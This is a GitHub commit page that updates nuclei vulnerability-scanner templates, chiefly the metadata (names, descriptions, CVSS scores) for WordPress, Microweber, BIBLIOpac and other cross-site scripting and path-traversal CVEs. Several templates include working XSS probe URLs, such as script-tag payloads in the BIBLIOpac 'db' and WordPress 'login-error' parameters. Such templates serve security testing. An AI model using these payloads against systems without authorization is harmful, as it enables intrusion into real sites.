Skip to content

Commit 569b0b9

Browse files
hktalenthktalent
committed
Up PoCs 2022-09-17
1 parent 57493a2 commit 569b0b9

File tree

75 files changed

+600
-254
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

75 files changed

+600
-254
lines changed

‎config/nuclei-templates/cves/2008/CVE-2008-1059.yaml

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -12,10 +12,10 @@ info:
1212
- https://nvd.nist.gov/vuln/detail/CVE-2008-1059
1313
- https://web.archive.org/web/20090615225856/http://secunia.com/advisories/29099/
1414
classification:
15-
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
16-
cvss-score: 7.5
17-
cve-id: CVE-2008-1061
18-
cwe-id: CWE-22
15+
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
16+
cvss-score: 7.2
17+
cve-id: CVE-2008-1059
18+
cwe-id: CWE-79
1919
tags: lfi,cve,cve2008,wordpress,wp-plugin,wp,sniplets,edb,wpscan
2020

2121
requests:

‎config/nuclei-templates/cves/2008/CVE-2008-1061.yaml

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,7 @@ id: CVE-2008-1061
33
info:
44
name: WordPress Sniplets <=1.2.2 - Cross-Site Scripting
55
author: dhiyaneshDK
6-
severity: medium
6+
severity: high
77
description: |
88
WordPress Sniplets 1.1.2 and 1.2.2 plugin contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML via the text parameter to warning.php, notice.php, and inset.php in view/sniplets/, and possibly modules/execute.php; via the url parameter to view/admin/submenu.php; and via the page parameter to view/admin/pager.php.
99
reference:
@@ -12,7 +12,10 @@ info:
1212
- https://nvd.nist.gov/vuln/detail/CVE-2008-1061
1313
- http://secunia.com/advisories/29099
1414
classification:
15+
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
16+
cvss-score: 7.2
1517
cve-id: CVE-2008-1061
18+
cwe-id: CWE-79
1619
tags: xss,wp-plugin,wp,edb,wpscan,cve,cve2008,wordpress,sniplets
1720

1821
requests:

‎config/nuclei-templates/cves/2014/CVE-2014-8676.yaml

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,16 +1,16 @@
11
id: CVE-2014-8676
22

33
info:
4-
name: Simple Online Planning Tool 1.3.2 - Directory Traversal
4+
name: Simple Online Planning Tool <1.3.2 - Local File Inclusion
55
author: 0x_Akoko
66
severity: medium
77
description: |
8-
Directory traversal vulnerability in the file_get_contents function in SOPlanning 1.32 and earlier allows remote attackers to determine the existence of arbitrary files via a .. (dot dot) in a URL path parameter.
8+
SOPlanning <1.32 contain a directory traversal in the file_get_contents function via a .. (dot dot) in the fichier parameter.
99
reference:
1010
- https://packetstormsecurity.com/files/132654/Simple-Online-Planning-Tool-1.3.2-XSS-SQL-Injection-Traversal.html
11-
- https://nvd.nist.gov/vuln/detail/CVE-2014-8676
1211
- https://www.exploit-db.com/exploits/37604/
1312
- http://seclists.org/fulldisclosure/2015/Jul/44
13+
- https://nvd.nist.gov/vuln/detail/CVE-2014-8676
1414
classification:
1515
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
1616
cvss-score: 5.3
@@ -32,3 +32,5 @@ requests:
3232
- type: status
3333
status:
3434
- 200
35+
36+
# Enhanced by cs on 2022/09/09

‎config/nuclei-templates/cves/2018/CVE-2018-16139.yaml

Lines changed: 43 additions & 42 deletions
Original file line numberDiff line numberDiff line change
@@ -1,42 +1,43 @@
1-
id: CVE-2018-16139
2-
3-
info:
4-
name: BIBLIOsoft BIBLIOpac 2008 - Cross Site Scripting
5-
author: atomiczsec
6-
severity: medium
7-
description: |
8-
Cross-site scripting (XSS) vulnerability in BIBLIOsoft BIBLIOpac 2008 allows remote attackers to inject arbitrary web script or HTML via the db or action parameter to to bin/wxis.exe/bibliopac/.
9-
reference:
10-
- https://www.0x90.zone/web/xss/2019/02/01/XSS-Bibliosoft.html
11-
- https://nvd.nist.gov/vuln/detail/CVE-2018-16139
12-
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-16139
13-
classification:
14-
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
15-
cvss-score: 6.1
16-
cve-id: CVE-2018-16139
17-
cwe-id: CWE-79
18-
metadata:
19-
verified: true
20-
shodan-query: title:"Bibliopac"
21-
tags: cve,cve2018,xss,bibliopac,bibliosoft
22-
23-
requests:
24-
- method: GET
25-
path:
26-
- '{{BaseURL}}/bibliopac/bin/wxis.exe/bibliopac/?IsisScript=bibliopac/bin/bibliopac.xic&db="><script>prompt(document.domain)</script>'
27-
28-
matchers-condition: and
29-
matchers:
30-
- type: word
31-
part: body
32-
words:
33-
- '"><script>prompt(document.domain)</script>.xrf'
34-
35-
- type: word
36-
part: header
37-
words:
38-
- "text/html"
39-
40-
- type: status
41-
status:
42-
- 200
1+
id: CVE-2018-16139
2+
3+
info:
4+
name: BIBLIOsoft BIBLIOpac 2008 - Cross-Site Scripting
5+
author: atomiczsec
6+
severity: medium
7+
description: |
8+
BIBLIOsoft BIBLIOpac 2008 contains a cross-site scripting vulnerability via the db or action parameter to bin/wxis.exe/bibliopac/, which allows a remote attacker to inject arbitrary web script or HTML.
9+
reference:
10+
- https://www.0x90.zone/web/xss/2019/02/01/XSS-Bibliosoft.html
11+
- https://nvd.nist.gov/vuln/detail/CVE-2018-16139
12+
classification:
13+
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
14+
cvss-score: 6.1
15+
cve-id: CVE-2018-16139
16+
cwe-id: CWE-79
17+
metadata:
18+
shodan-query: title:"Bibliopac"
19+
verified: "true"
20+
tags: cve,cve2018,xss,bibliopac,bibliosoft
21+
22+
requests:
23+
- method: GET
24+
path:
25+
- '{{BaseURL}}/bibliopac/bin/wxis.exe/bibliopac/?IsisScript=bibliopac/bin/bibliopac.xic&db="><script>prompt(document.domain)</script>'
26+
27+
matchers-condition: and
28+
matchers:
29+
- type: word
30+
part: body
31+
words:
32+
- '"><script>prompt(document.domain)</script>.xrf'
33+
34+
- type: word
35+
part: header
36+
words:
37+
- "text/html"
38+
39+
- type: status
40+
status:
41+
- 200
42+
43+
# Enhanced by mp on 2022/09/14

‎config/nuclei-templates/cves/2020/CVE-2020-13258.yaml

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,14 +1,14 @@
11
id: CVE-2020-13258
22

33
info:
4-
name: Contentful - Cross-Site Scripting
4+
name: Contentful <=2020-05-21 - Cross-Site Scripting
55
author: pikpikcu
66
severity: medium
77
description: |
8-
Contentful through 2020-05-21 for Python allows reflected XSS, as demonstrated by the api parameter to the-example-app.py.
8+
Contentful through 2020-05-21 for Python contains a reflected cross-site scripting vulnerability via the api parameter to the-example-app.py.
99
reference:
1010
- https://github.com/contentful/the-example-app.py/issues/44
11-
- https://nvd.nist.gov/vuln/detail/CVE-2016-1000140
11+
- https://nvd.nist.gov/vuln/detail/CVE-2020-13258
1212
classification:
1313
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
1414
cvss-score: 6.1
@@ -38,3 +38,5 @@ requests:
3838
- type: status
3939
status:
4040
- 200
41+
42+
# Enhanced by mp on 2022/09/14

‎config/nuclei-templates/cves/2020/CVE-2020-13483.yaml

Lines changed: 5 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,14 @@
11
id: CVE-2020-13483
22

33
info:
4-
name: Bitrix24 through 20.0.0 allows Cross-Site Scripting
4+
name: Bitrix24 <=20.0.0 - Cross-Site Scripting
55
author: pikpikcu,3th1c_yuk1
66
severity: medium
7-
description: The Web Application Firewall in Bitrix24 through 20.0.0 allows XSS via the items[ITEMS][ID] parameter to the components/bitrix/mobileapp.list/ajax.php/ URI.
7+
description: The Web Application Firewall in Bitrix24 up to and including 20.0.0 allows XSS via the items[ITEMS][ID] parameter to the components/bitrix/mobileapp.list/ajax.php/ URI.
88
reference:
99
- https://gist.github.com/mariuszpoplwski/ca6258cf00c723184ebd2228ba81f558
1010
- https://twitter.com/brutelogic/status/1483073170827628547
11+
- https://nvd.nist.gov/vuln/detail/CVE-2020-13483
1112
classification:
1213
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
1314
cvss-score: 6.1
@@ -40,3 +41,5 @@ requests:
4041
- type: status
4142
status:
4243
- 200
44+
45+
# Enhanced by cs 2022/09/14

‎config/nuclei-templates/cves/2021/CVE-2021-24214.yaml

Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
id: CVE-2021-24214
2+
info:
3+
name: OpenID Connect Generic Client 3.8.0-3.8.1 - Reflected Cross Site Scripting (XSS) via Login Error
4+
author: tess
5+
severity: medium
6+
description: The OpenID Connect Generic Client WordPress plugin 3.8.0 and 3.8.1 did not sanitise the login error when output back in the login form, leading to a reflected Cross-Site Scripting issue. This issue does not require authentication and can be exploited with the default configuration.
7+
reference:
8+
- https://wpscan.com/vulnerability/31cf0dfb-4025-4898-a5f4-fc7115565a10
9+
- https://nvd.nist.gov/vuln/detail/CVE-2021-24214
10+
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24214
11+
classification:
12+
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
13+
cvss-score: 6.1
14+
cve-id: CVE-2021-24214
15+
cwe-id: CWE-79
16+
metadata:
17+
verified: true
18+
tags: wpscan,cve,cve2021,wordpress,xss,wp-plugin,wp,openid
19+
20+
requests:
21+
- method: GET
22+
path:
23+
- '{{BaseURL}}/wp-login.php?login-error=<script>alert(document.domain)</script>'
24+
25+
matchers-condition: and
26+
matchers:
27+
- type: word
28+
part: body
29+
words:
30+
- 'ERROR (<script>alert(document.domain)</script>):'
31+
- 'Login with OpenID Connect'
32+
condition: and
33+
34+
- type: word
35+
part: header
36+
words:
37+
- text/html
38+
39+
- type: status
40+
status:
41+
- 200

‎config/nuclei-templates/cves/2021/CVE-2021-24276.yaml

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,14 +1,14 @@
11
id: CVE-2021-24276
22

33
info:
4-
name: Contact Form by Supsystic < 1.7.15 - Cross-Site Scripting
4+
name: WordPress Supsystic Contact Form <1.7.15 - Cross-Site Scripting
55
author: dhiyaneshDK
66
severity: medium
7-
description: The Contact Form by Supsystic WordPress plugin before 1.7.15 did not sanitise the tab parameter of its options page before outputting it in an attribute, leading to a reflected Cross-Site Scripting issue
7+
description: WordPress Supsystic Contact Form plugin before 1.7.15 contains a cross-site scripting vulnerability. It does not sanitize the tab parameter of its options page before outputting it in an attribute.
88
reference:
99
- https://wpscan.com/vulnerability/1301123c-5e63-432a-ab90-3221ca532d9c
10-
- https://nvd.nist.gov/vuln/detail/CVE-2021-24276
1110
- http://packetstormsecurity.com/files/164308/WordPress-Contact-Form-1.7.14-Cross-Site-Scripting.html
11+
- https://nvd.nist.gov/vuln/detail/CVE-2021-24276
1212
classification:
1313
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
1414
cvss-score: 6.1
@@ -36,3 +36,5 @@ requests:
3636
words:
3737
- "text/html"
3838
part: header
39+
40+
# Enhanced by mp on 2022/09/14

‎config/nuclei-templates/cves/2021/CVE-2021-24746.yaml

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,10 @@
11
id: CVE-2021-24746
22

33
info:
4-
name: WordPress Sassy Social Share Plugin - Cross-Site Scripting
4+
name: WordPress Sassy Social Share Plugin <3.3.40 - Cross-Site Scripting
55
author: Supras
66
severity: medium
7-
description: WP plugin Sassy Social Share < 3.3.40 - Reflected Cross-Site Scripting
7+
description: WordPress plugin Sassy Social Share < 3.3.40 contains a reflected cross-site scripting vulnerability.
88
reference:
99
- https://wpscan.com/vulnerability/99f4fb32-e312-4059-adaf-f4cbaa92d4fa
1010
- https://nvd.nist.gov/vuln/detail/CVE-2021-24746
@@ -49,3 +49,5 @@ requests:
4949
group: 1
5050
regex:
5151
- '"slug":"([_a-z-A-Z0-9]+)",'
52+
53+
# Enhanced by cs 2022/09/14

‎config/nuclei-templates/cves/2021/CVE-2021-46069.yaml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -53,4 +53,4 @@ requests:
5353
- 'contains(body_3, "<td>\"><script>alert(document.domain)</script></td>")'
5454
condition: and
5555

56-
# Enhanced by mp 09/09/2022
56+
# Enhanced by mp 2022/09/09

‎config/nuclei-templates/cves/2021/CVE-2021-46073.yaml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -53,4 +53,4 @@ requests:
5353
- 'contains(body_3, "<script>alert(document.domain)</script> Test</td>")'
5454
condition: and
5555

56-
# Enhanced by mp 09/09/2022
56+
# Enhanced by mp 2022/09/09

‎config/nuclei-templates/cves/2022/CVE-2022-0776.yaml

Lines changed: 9 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,15 +1,19 @@
11
id: CVE-2022-0776
22

33
info:
4-
name: RevealJS postMessage Cross-Site Scripting
4+
name: RevealJS postMessage <4.3.0 - Cross-Site Scripting
55
author: LogicalHunter
6-
severity: medium
7-
description: Cross-site Scripting (XSS) - DOM in GitHub repository hakimel/reveal.js prior to 4.3.0.
6+
severity: high
7+
description: RevealJS postMessage before 4.3.0 contains a cross-site scripting vulnerability via the document object model.
88
reference:
99
- https://hackerone.com/reports/691977
1010
- https://github.com/hakimel/reveal.js/pull/3137
1111
- https://huntr.dev/bounties/be2b7ee4-f487-42e1-874a-6bcc410e4001/
12+
- https://nvd.nist.gov/vuln/detail/CVE-2022-0776
1213
classification:
14+
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
15+
cvss-score: 7.2
16+
cwe-id: CWE-79
1317
cve-id: CVE-2022-0776
1418
tags: hackerone,huntr,cve,cve2022,headless,postmessage,revealjs
1519

@@ -32,3 +36,5 @@ headless:
3236
part: extract
3337
words:
3438
- "true"
39+
40+
# Enhanced by mp on 2022/09/14

‎config/nuclei-templates/cves/2022/CVE-2022-0928.yaml

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,11 +1,11 @@
11
id: CVE-2022-0928
22

33
info:
4-
name: Microweber - Cross-Site Scripting
4+
name: Microweber <1.2.12 - Stored Cross-Site Scripting
55
author: amit-jd
66
severity: medium
77
description: |
8-
Cross-site Scripting (XSS) discovered in microweber prior to 1.2.12. Type parameter in the body of POST request triggered by add/edit tax in microweb are vulnerable to stored XSS.
8+
Microweber prior to 1.2.12 contains a stored cross-site scripting vulnerability via the Type parameter in the body of POST request, which is triggered by Add/Edit Tax.
99
reference:
1010
- https://huntr.dev/bounties/085aafdd-ba50-44c7-9650-fa573da29bcd
1111
- https://github.com/microweber/microweber/commit/fc9137c031f7edec5f50d73b300919fb519c924a
@@ -53,3 +53,5 @@ requests:
5353
- 'contains(all_headers_3,"text/html")'
5454
- 'status_code==200'
5555
condition: and
56+
57+
# Enhanced by mp on 2022/09/14

‎config/nuclei-templates/cves/2022/CVE-2022-0954.yaml

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,11 +1,11 @@
11
id: CVE-2022-0954
22

33
info:
4-
name: Microweber - Cross-Site Scripting
4+
name: Microweber <1.2.11 - Stored Cross-Site Scripting
55
author: amit-jd
66
severity: medium
77
description: |
8-
Multiple Stored Cross-site Scripting (XSS) Vulnerabilities in Shop's Other Settings, Shop's Autorespond E-mail Settings and Shops' Payments Methods in GitHub repository microweber/microweber prior to 1.2.11.
8+
Microweber before 1.2.1 contains multiple stored cross-site scripting vulnerabilities in Shop's Other Settings, Autorespond E-mail Settings, and Payment Methods.
99
reference:
1010
- https://github.com/advisories/GHSA-8c76-mxv5-w4g8
1111
- https://huntr.dev/bounties/b99517c0-37fc-4efa-ab1a-3591da7f4d26/
@@ -55,3 +55,5 @@ requests:
5555
- 'contains(all_headers_3,"text/html")'
5656
- 'status_code_3==200'
5757
condition: and
58+
59+
# Enhanced by mp on 2022/09/14

‎config/nuclei-templates/cves/2022/CVE-2022-0963.yaml

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,16 +1,16 @@
11
id: CVE-2022-0963
22

33
info:
4-
name: Microweber > 1.2.12 - Cross-Site Scripting
4+
name: Microweber <1.2.12 - Stored Cross-Site Scripting
55
author: amit-jd
66
severity: medium
77
description: |
8-
Microweber prior to 1.2.12 allows unrestricted upload of XML files, which malicious actors can exploit to cause a stored cross-site scripting attack.
8+
Microweber prior to 1.2.12 contains a stored cross-site scripting vulnerability. It allows unrestricted upload of XML files,.
99
reference:
1010
- https://huntr.dev/bounties/a89a4198-0880-4aa2-8439-a463f39f244c/
1111
- https://github.com/advisories/GHSA-q3x2-jvp3-wj78
12-
- https://nvd.nist.gov/vuln/detail/CVE-2022-0963
1312
- https://huntr.dev/bounties/a89a4198-0880-4aa2-8439-a463f39f244c
13+
- https://nvd.nist.gov/vuln/detail/CVE-2022-0963
1414
classification:
1515
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
1616
cvss-score: 5.4
@@ -67,3 +67,5 @@ requests:
6767
- 'status_code_3==200'
6868
- 'contains(body_2,"bytes_uploaded")'
6969
condition: and
70+
71+
# Enhanced by mp on 2022/09/14

0 commit comments

Comments
 (0)